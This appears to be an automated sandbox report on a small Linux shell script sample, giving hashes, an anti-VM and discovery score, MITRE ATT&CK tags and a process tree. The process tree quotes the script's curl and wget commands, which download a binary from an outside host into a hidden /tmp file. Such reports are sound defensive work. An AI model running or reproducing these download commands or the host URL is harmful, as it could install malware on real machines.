6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79

Analysis

max time kernel
4s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 00:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79.sh
Size 551B
Sample261027-a72e2azygx
SHA256 6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79
MD5 926dff075e55855e4eff5d008d395393
SHA1 34038dcfb11fa1be331bca5ad7478ab5d10adbc3
SHA512 dc73827deac9d5c04c04e99df92d04ff2ad4cb1b0d402a979f6a5687930e14bb63fe675dfd7f6caa4dbaaef339ae9c9231b5b49d8852abc1614b12d8a94bad64
TLSH
T1B8F08BD4DAB69533E2092A0CBE89A584FC978CB54B732AB5B480CB8670785013116EE6
MD5 SHA1 SHA512 TLSH

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.5820ed8758b5b3bd	wget
File opened for modification	/tmp/.cache_	wget

/tmp/6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79.sh
/tmp/6e90179c02b4766ffdc7bab877419b05c9a7465e7f01dd1c6795a763522cfd79.sh
1⤵
PID:654
- /bin/uname
  uname -m
  2⤵
  PID:655
- /usr/bin/curl
  curl -fsL -m180 "https://cdn.876553.xyz/Q1fc8a9OCb7AsC6f/dl/5b5ca3cb-434f-4492-a0f7-11c0b2e0f358?a=armv7" -o /tmp/.cache_
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:662
- /usr/bin/wget
  wget -q -O /tmp/.cache_ "https://cdn.876553.xyz/Q1fc8a9OCb7AsC6f/dl/5b5ca3cb-434f-4492-a0f7-11c0b2e0f358?a=armv7"
  2⤵
  - Writes file to tmp directory
  PID:661

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads